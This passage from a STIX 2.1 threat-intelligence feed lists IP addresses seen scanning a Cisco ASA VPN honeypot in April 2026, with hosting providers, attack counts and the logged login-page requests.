            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--a94613d0-c092-409b-952a-d0a539c2232d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T05:54:11.109Z",
          "last_seen": "2026-04-12T02:24:19.177Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--93fb05dc-848d-4ab0-b75c-c34c9de2faeb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T05:40:53.781Z",
          "last_seen": "2026-04-30T05:40:33.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5930a46b-1114-4062-9d24-bcb5dfafe0df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T05:31:29.956Z",
          "last_seen": "2026-04-18T10:55:10.893Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c97fd15f-db52-47ba-a0ee-9057806eb53b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T05:59:21.473Z",
          "last_seen": "2026-04-27T20:21:22.401Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4f7453f3-31ea-4656-88c6-acc9c7dfddca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T06:08:59.215Z",
          "last_seen": "2026-04-25T11:14:26.508Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1b625e2f-c0f1-457a-967c-3df1fe247a82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.72.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T06:13:49.689Z",
          "last_seen": "2026-04-18T20:18:44.624Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2cad2b3d-8bed-42ee-8481-4f2a8ff7d013",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T05:50:04.203Z",
          "last_seen": "2026-04-26T14:35:24.338Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--733d3b98-55b4-45ef-b9dc-eb01292a5e8e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T06:13:02.894Z",
          "last_seen": "2026-04-24T14:34:16.682Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3188ae28-29b1-4c65-a735-136d2d8c06ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-11T06:09:43.932Z",
          "last_seen": "2026-04-29T16:03:31.624Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a18faf26-0c25-41a3-9259-e0c4e8db387b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-11T05:51:01.825Z",
          "last_seen": "2026-04-22T01:59:18.422Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--18f53e46-ef56-4164-8bd5-e0b5c949028f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:20:13.000Z",
      "valid_until": "2026-05-13T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 39,
          "first_seen": "2026-04-10T03:32:50.011Z",
          "last_seen": "2026-04-28T06:03:39.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--c6b40c3c-09df-40fd-ac49-5c22b34d5753",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:20:10.000Z",
      "valid_until": "2026-05-13T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T06:49:29.283Z",
          "last_seen": "2026-04-30T00:20:18.085Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--74047c3b-05cb-4c93-8bbc-404b5fcb4a8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:20:10.000Z",
      "valid_until": "2026-05-13T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-08T19:28:13.223Z",
          "last_seen": "2026-04-11T06:45:37.008Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ad221065-362d-4110-b5ab-a430333e25a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:20:10.000Z",
      "valid_until": "2026-05-13T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-11T06:54:24.598Z",
          "last_seen": "2026-04-29T15:06:01.012Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4571a717-5092-4037-b4a3-9d3b5a0b3d7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.108.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:20:10.000Z",
      "valid_until": "2026-05-13T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T06:30:56.239Z",
          "last_seen": "2026-04-25T05:37:54.659Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--675a6fdf-08ee-469a-96ce-da25f5919a7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:20:10.000Z",
      "valid_until": "2026-05-13T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-11T07:04:38.646Z",
          "last_seen": "2026-04-25T08:23:54.978Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5a9e524e-a9af-4117-827e-35c99e8df66e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:20:10.000Z",
      "valid_until": "2026-05-13T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T06:39:21.047Z",
          "last_seen": "2026-04-27T23:57:08.014Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--7bddfce7-c993-428b-a5b8-9779f7ffa05d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:20:10.000Z",
      "valid_until": "2026-05-13T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T06:53:51.778Z",
          "last_seen": "2026-04-30T02:14:59.813Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--faa95639-d295-4fa6-a68e-d0c10ddcbf1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.225.129.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 457,
          "first_seen": "2026-04-11T07:48:11.376Z",
          "last_seen": "2026-04-29T17:05:58.349Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-11T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--69c17208-407a-4c1d-b06a-eea9f733b711",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:20:11.000Z",
      "valid_until": "2026-05-13T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 23,
